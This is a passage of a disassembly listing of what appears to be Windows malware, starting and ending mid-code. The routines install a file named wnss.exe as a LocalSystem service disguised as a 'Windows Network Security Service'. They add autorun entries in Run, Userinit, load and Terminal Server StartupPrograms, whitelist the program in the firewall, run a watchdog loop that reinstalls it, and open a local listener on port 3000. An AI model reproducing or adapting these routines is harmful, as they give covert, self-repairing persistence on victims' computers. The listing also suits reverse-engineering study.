[ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E5C test eax, eax jnz short loc_4050C6 call dword_411CE8 cmp eax, 430h jnz short loc_4050C6 or edi, 0FFFFFFFFh loc_4050C6: ; CODE XREF: sub_404FE9+CBj ; sub_404FE9+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C test eax, eax jnz short loc_405114 call dword_411CE8 cmp eax, 430h jnz short loc_405114 or edi, 0FFFFFFFFh loc_405114: ; CODE XREF: sub_404FE9+119j ; sub_404FE9+126j push ebx call dword_411E50 push esi call dword_411E50 mov eax, edi loc_405124: ; CODE XREF: sub_404FE9+1Fj ; sub_404FE9+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404FE9 endp ; =============== S U B R O U T I N E ======================================= sub_40512B proc near ; CODE XREF: sub_403FEA+9p ; sub_4067B0+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 mov ebx, eax test eax, eax jz short loc_40516D push 0F01FFh push offset aWnss ; "wnss" push ebx call dword_411E4C mov esi, eax push esi call dword_411E68 push esi call dword_411E50 push ebx call dword_411E50 xor eax, eax inc eax loc_40516D: ; CODE XREF: sub_40512B+15j pop esi pop ebx retn sub_40512B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405170 proc near ; CODE XREF: sub_405CA2+2Ap ; sub_4067B0+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_407730 pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_407710 pop ecx add ebx, eax push offset aWnss ; "wnss" push ebx call sub_407730 pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E30 test eax, eax jnz short loc_40523E mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E44 mov [ebp+var_53C], eax test eax, eax jnz short loc_405232 mov [ebp+var_409], 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_534] push eax call dword_411D38 test eax, eax jnz short loc_405232 xor esi, esi inc esi loc_405232: ; CODE XREF: sub_405170+A0j ; sub_405170+BDj push [ebp+var_404] call dword_411E2C loc_40523E: ; CODE XREF: sub_405170+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_405170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405246 proc near ; CODE XREF: sub_405CA2+33p ; sub_4067B0+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_407730 pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_407710 pop ecx add ebx, eax push offset aWnss ; "wnss" push ebx call sub_407730 pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E24 test eax, eax jnz loc_4053BB mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E28 mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E28 and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E28 push offset aWindowsNetwork ; "Windows Network Security Service" call sub_407710 pop ecx inc eax push eax push offset aWindowsNetwork ; "Windows Network Security Service" push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E28 push offset aProvidesNetwor ; "Provides network security options for s"... call sub_407710 pop ecx inc eax push eax push offset aProvidesNetwor ; "Provides network security options for s"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E28 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call sub_407710 pop ecx inc eax push eax push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_4053BB: ; CODE XREF: sub_405246+6Bj pop ebx mov esp, ebp pop ebp retn sub_405246 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}" push 0 push 0 push 0 call dword_411D40 mov ebx, eax test eax, eax jz short loc_4053F4 push ebx call dword_411D44 mov esi, eax push ebx call dword_411CF8 test esi, esi jz short loc_4053F2 xor eax, eax inc eax jmp short loc_4053F4 ; --------------------------------------------------------------------------- loc_4053F2: ; CODE XREF: DMN0:004053EBj xor eax, eax loc_4053F4: ; CODE XREF: DMN0:004053D7j ; DMN0:004053F0j pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053F7 proc near ; CODE XREF: sub_405604+89p ; sub_40569A+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 test eax, eax jnz short loc_405449 push [ebp+arg_C] call sub_407710 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_405449: ; CODE XREF: sub_4053F7+29j mov esp, ebp pop ebp retn sub_4053F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40544D proc near ; CODE XREF: sub_405555+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_407710 pop ecx mov edi, eax push [ebp+var_4] call sub_407710 pop ecx mov ebx, eax jmp short loc_405491 ; --------------------------------------------------------------------------- loc_405473: ; CODE XREF: sub_40544D+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC cmp eax, 2 jnz short loc_40548F mov eax, esi jmp short loc_405497 ; --------------------------------------------------------------------------- loc_40548F: ; CODE XREF: sub_40544D+3Cj inc esi dec edi loc_405491: ; CODE XREF: sub_40544D+24j cmp edi, ebx jge short loc_405473 xor eax, eax loc_405497: ; CODE XREF: sub_40544D+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40544D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40549E proc near ; CODE XREF: sub_405555+23p ; sub_405604+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_4054B9 test esi, esi jnz short loc_4054C0 loc_4054B9: ; CODE XREF: sub_40549E+15j xor eax, eax jmp loc_40554E ; --------------------------------------------------------------------------- loc_4054C0: ; CODE XREF: sub_40549E+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 test eax, eax jz short loc_4054DF xor eax, eax jmp short loc_40554E ; --------------------------------------------------------------------------- loc_4054DF: ; CODE XREF: sub_40549E+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_2 pop ecx pop ecx push edi push 0 push esi call sub_407690 add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E44 mov [ebp+var_C], eax push [ebp+var_8] call dword_411E2C cmp [ebp+var_C], 0 jnz short loc_40553F push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_2 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_40554E ; --------------------------------------------------------------------------- loc_40553F: ; CODE XREF: sub_40549E+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_2 pop ecx pop ecx xor eax, eax loc_40554E: ; CODE XREF: sub_40549E+1Dj ; sub_40549E+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40549E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405555 proc near ; CODE XREF: sub_405604+23p ; sub_40569A+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40549E add esp, 14h mov ebx, eax test eax, eax jz short loc_4055A2 push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_40544D pop ecx pop ecx test eax, eax jz short loc_4055A0 xor eax, eax inc eax jmp short loc_4055A2 ; --------------------------------------------------------------------------- loc_4055A0: ; CODE XREF: sub_405555+44j xor eax, eax loc_4055A2: ; CODE XREF: sub_405555+2Fj ; sub_405555+49j pop ebx mov esp, ebp pop ebp retn sub_405555 endp ; =============== S U B R O U T I N E ======================================= sub_4055A7 proc near ; CODE XREF: sub_405833+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_4055C0 mov byte ptr [ebx], 22h inc ebx jmp short loc_4055C3 ; --------------------------------------------------------------------------- loc_4055C0: ; CODE XREF: sub_4055A7+11j mov byte ptr [ebx], 0 loc_4055C3: ; CODE XREF: sub_4055A7+17j push [esp+0Ch+arg_4] push ebx call sub_407730 pop ecx pop ecx push [esp+0Ch+arg_4] call sub_407710 pop ecx add ebx, eax test edi, edi jz short loc_4055E3 mov byte ptr [ebx], 22h inc ebx loc_4055E3: ; CODE XREF: sub_4055A7+36j test esi, esi jz short loc_4055FD mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_407730 pop ecx pop ecx push esi call sub_407710 pop ecx add ebx, eax loc_4055FD: ; CODE XREF: sub_4055A7+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_4055A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405604 proc near ; CODE XREF: sub_405833+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 push ebx push dword_4128A4 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_405555 add esp, 10h test eax, eax jnz short loc_405695 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_40549E add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_405663 mov [ebp+var_2000], 0 loc_405663: ; CODE XREF: sub_405604+56j push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_4053F7 add esp, 10h loc_405695: ; CODE XREF: sub_405604+2Dj pop ebx mov esp, ebp pop ebp retn sub_405604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40569A proc near ; CODE XREF: sub_405833+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 push ebx push esi push dword_4128A4 push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405555 add esp, 10h test eax, eax jnz loc_40576C push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_40549E add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_4056FE mov [ebp+var_2000], 0 loc_4056FE: ; CODE XREF: sub_40569A+5Bj cmp [ebp+var_2000], 0 jz short loc_405723 lea esi, [ebp+var_2000] jmp short loc_405710 ; --------------------------------------------------------------------------- loc_40570F: ; CODE XREF: sub_40569A+79j inc esi loc_405710: ; CODE XREF: sub_40569A+73j cmp byte ptr [esi], 0 jnz short loc_40570F dec esi cmp byte ptr [esi], 2Ch jz short loc_405723 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_405723: ; CODE XREF: sub_40569A+6Bj ; sub_40569A+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx test ebx, ebx jnz short loc_40574E push offset asc_40E73C ; "," lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx loc_40574E: ; CODE XREF: sub_40569A+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4053F7 add esp, 10h loc_40576C: ; CODE XREF: sub_40569A+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_40569A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405772 proc near ; CODE XREF: sub_405833+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 push ebx push esi push dword_4128A4 push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_405555 add esp, 10h test eax, eax jnz loc_40582D push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_40549E add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_4057D6 mov [ebp+var_2000], 0 loc_4057D6: ; CODE XREF: sub_405772+5Bj cmp [ebp+var_2000], 0 jz short loc_4057FB lea esi, [ebp+var_2000] jmp short loc_4057E8 ; --------------------------------------------------------------------------- loc_4057E7: ; CODE XREF: sub_405772+79j inc esi loc_4057E8: ; CODE XREF: sub_405772+73j cmp byte ptr [esi], 0 jnz short loc_4057E7 dec esi cmp byte ptr [esi], 2Ch jz short loc_4057FB inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_4057FB: ; CODE XREF: sub_405772+6Bj ; sub_405772+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4053F7 add esp, 10h loc_40582D: ; CODE XREF: sub_405772+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_405772 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405833 proc near ; CODE XREF: sub_4067B0+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 push 1 push offset asc_40E700 ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_4055A7 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Security Service" push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_4053F7 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_2 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Security Service" push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4053F7 add esp, 10h call sub_405604 call sub_40569A call sub_405772 mov esp, ebp pop ebp retn sub_405833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058BE proc near ; CODE XREF: sub_4067B0+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4077F0 mov [ebp+var_2000], 0 push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Security Service" lea eax, [ebp+var_2000] push eax call sub_407750 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A4 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_4053F7 add esp, 10h mov esp, ebp pop ebp retn sub_4058BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40592F proc near ; CODE XREF: DMN0:00405B4Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE0 mov [ebp+var_10], eax push 1 push [ebp+var_10] call dword_411E38 push 0 push 0 push 1 push [ebp+var_10] call dword_411E3C mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D40 mov ebx, eax test ebx, ebx jz short loc_405999 push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_407320 pop ecx jmp short loc_4059AC ; --------------------------------------------------------------------------- loc_405999: ; CODE XREF: sub_40592F+5Bj call dword_411CE8 push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_407320 pop ecx pop ecx loc_4059AC: ; CODE XREF: sub_40592F+68j push 0 push 0 push offset sub_405CA2 call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 push 0 push 0 push offset sub_406736 call sub_4079D0 add esp, 0Ch mov esi, eax loc_4059D7: ; CODE XREF: sub_40592F:loc_405A26j test ebx, ebx jz short loc_405A11 push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_407320 pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D48 mov edi, eax test edi, edi jz short loc_405A07 cmp edi, 1 jnz short loc_405A26 loc_405A07: ; CODE XREF: sub_40592F+D1j push 1 call sub_407AA0 pop ecx jmp short loc_405A26 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_40592F+AAj push 0FFFFFFFFh push esi call dword_411D34 test eax, eax jnz short loc_405A26 push 1 call sub_407AA0 pop ecx loc_405A26: ; CODE XREF: sub_40592F+D6j ; sub_40592F+E0j ... jmp short loc_4059D7 sub_40592F endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_405A2F: ; DATA XREF: DMN0:00405AA5o ; DMN1:00447DC6o mov eax, [esp+4] cmp eax, 3 jz short loc_405A44 cmp eax, 4 jz short loc_405A61 cmp eax, 5 jz short loc_405A74 jmp short locret_405A97 ; --------------------------------------------------------------------------- loc_405A44: ; CODE XREF: DMN0:00405A36j mov dword_41293C, 4 push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_405A97 ; --------------------------------------------------------------------------- loc_405A61: ; CODE XREF: DMN0:00405A3Bj push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_405A97 ; --------------------------------------------------------------------------- loc_405A74: ; CODE XREF: DMN0:00405A40j mov dword_41293C, 1 push offset dword_412938 push dword_412954 call dword_411E6C push 1 call sub_407AA0 pop ecx locret_405A97: ; CODE XREF: DMN0:00405A42j ; DMN0:00405A5Fj ... retn 4 ; --------------------------------------------------------------------------- loc_405A9A: ; DATA XREF: sub_405B88+18o ; sub_447EA9+18o push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_407320 pop ecx push offset loc_405A2F push off_412958 call dword_411E70 mov dword_412954, eax cmp dword_412954, 0 jz loc_405B7A push 1 push offset dword_411044 call dword_411D04 push 1Ch push 0 push offset dword_412938 call sub_407690 add esp, 0Ch mov dword_412938, 110h mov dword_41293C, 2 and dword_412940, 0 mov dword_412950, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_407320 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C mov dword_41293C, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_407320 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C call sub_40592F ; --------------------------------------------------------------------------- mov dword_41293C, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_407320 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C jmp short locret_405B85 ; --------------------------------------------------------------------------- loc_405B7A: ; CODE XREF: DMN0:00405AC2j push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_407320 pop ecx locret_405B85: ; CODE XREF: DMN0:00405B78j retn 8 ; =============== S U B R O U T I N E ======================================= sub_405B88 proc near ; CODE XREF: DMN0:00405BCEp ; sub_4067B0+532p push ebx call sub_40410E test eax, eax jz short loc_405B96 xor eax, eax jmp short loc_405BCC ; --------------------------------------------------------------------------- loc_405B96: ; CODE XREF: sub_405B88+8j mov eax, off_412958 mov dword_41295C, eax mov dword_412960, offset loc_405A9A and dword_412964, 0 and dword_412968, 0 push offset dword_41295C call dword_411E74 mov ebx, eax call sub_404162 mov eax, ebx loc_405BCC: ; CODE XREF: sub_405B88+Cj pop ebx retn sub_405B88 endp ; --------------------------------------------------------------------------- call sub_405B88 call sub_407A60 retn ; --------------------------------------------------------------------------- call sub_404F15 mov dword_411040, eax call sub_407A60 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BE9 proc near ; CODE XREF: sub_405CA2+64p ; sub_4067B0+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_407690 add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_407730 pop ecx pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx push offset asc_40E5AE ; "\" " lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_405C59 push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx loc_405C59: ; CODE XREF: sub_405BE9+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 test eax, eax jz short loc_405C9E push [ebp+var_850] call dword_411CF8 push [ebp+var_854] call dword_411CF8 xor eax, eax inc eax loc_405C9E: ; CODE XREF: sub_405BE9+98j mov esp, ebp pop ebp retn sub_405BE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_405CA2 proc near ; DATA XREF: sub_40592F+81o ; sub_447C50+81o push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_2 pop ecx loc_405CAF: ; CODE XREF: sub_405CA2:loc_405D37j xor ebx, ebx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D4C cmp eax, 0FFFFFFFFh jz short loc_405D2C call sub_404D77 test eax, eax jz short loc_405CEB call sub_405170 test eax, eax jnz short loc_405CDA call sub_405246 loc_405CDA: ; CODE XREF: sub_405CA2+31j call sub_404EC7 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405CF8 xor ebx, ebx inc ebx jmp short loc_405CF8 ; --------------------------------------------------------------------------- loc_405CEB: ; CODE XREF: sub_405CA2+28j call sub_404FE9 cmp eax, 0FFFFFFFFh jnz short loc_405CF8 xor ebx, ebx inc ebx loc_405CF8: ; CODE XREF: sub_405CA2+42j ; sub_405CA2+47j ... test ebx, ebx jz short loc_405D1F call sub_404162 push offset asc_40E58E ; "**" call sub_405BE9 pop ecx test eax, eax jz short loc_405D18 push 0 call sub_407AA0 pop ecx loc_405D18: ; CODE XREF: sub_405CA2+6Cj call sub_40410E jmp short loc_405D37 ; --------------------------------------------------------------------------- loc_405D1F: ; CODE XREF: sub_405CA2+58j push 1F4h call dword_411D00 jmp short loc_405D37 ; --------------------------------------------------------------------------- loc_405D2C: ; CODE XREF: sub_405CA2+1Fj push 2710h call dword_411D00 loc_405D37: ; CODE XREF: sub_405CA2+7Bj ; sub_405CA2+88j jmp loc_405CAF sub_405CA2 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D3F proc near ; DATA XREF: sub_405DB5+76o ; DMN1:0044814Co var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+arg_0] mov esi, eax push dword_41296C call dword_411D50 loc_405D56: ; CODE XREF: sub_405D3F+4Bj mov [ebp+var_1], 0 push 1 lea eax, [ebp+var_1] push eax push esi call sub_4016DC add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_405D8C cmp [ebp+var_1], 2Ah jnz short loc_405D8C push 1 lea eax, [ebp+var_1] push eax push esi call sub_401787 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_405D8C jmp short loc_405D56 ; --------------------------------------------------------------------------- loc_405D8C: ; CODE XREF: sub_405D3F+2Ej ; sub_405D3F+34j ... push esi call sub_4014C2 pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_2 pop ecx push dword_41296C call dword_411D44 call sub_407A60 pop esi pop ebx mov esp, ebp pop ebp retn sub_405D3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DB5 proc near ; DATA XREF: sub_4064E1+11o ; sub_448802+11o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call sub_401359 mov dword_41104C, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_2 pop ecx push 0BB8h push 100007Fh push dword_41104C call sub_4015B7 add esp, 0Ch test eax, eax jz short loc_405E55 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_2 pop ecx push dword_41104C call sub_401607 pop ecx test eax, eax jz short loc_405E55 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_2 pop ecx push dword_41104C call sub_401621 pop ecx mov [ebp+var_4], eax test eax, eax jz short loc_405E55 mov eax, [ebp+var_4] push eax push 0 push offset sub_405D3F call sub_4079D0 add esp, 0Ch mov [ebp+var_8], eax push eax call dword_411CF8 push dword_41104C call sub_4014C2 pop ecx and dword_41104C, 0 loc_405E55: ; CODE XREF: sub_405DB5+35j ; sub_405DB5+50j ... cmp dword_41104C, 0 jz short loc_405E6A push dword_41104C call sub_4014C2 pop ecx loc_405E6A: ; CODE XREF: sub_405DB5+A7j push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_2 pop ecx call sub_407A60 mov esp, ebp pop ebp retn sub_405DB5 endp ; =============== S U B R O U T I N E ======================================= sub_405E7E proc near ; CODE XREF: sub_40643C+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_405E90 ; --------------------------------------------------------------------------- loc_405E88: ; CODE XREF: sub_405E7E+14j call dword_411CC4 mov esi, eax 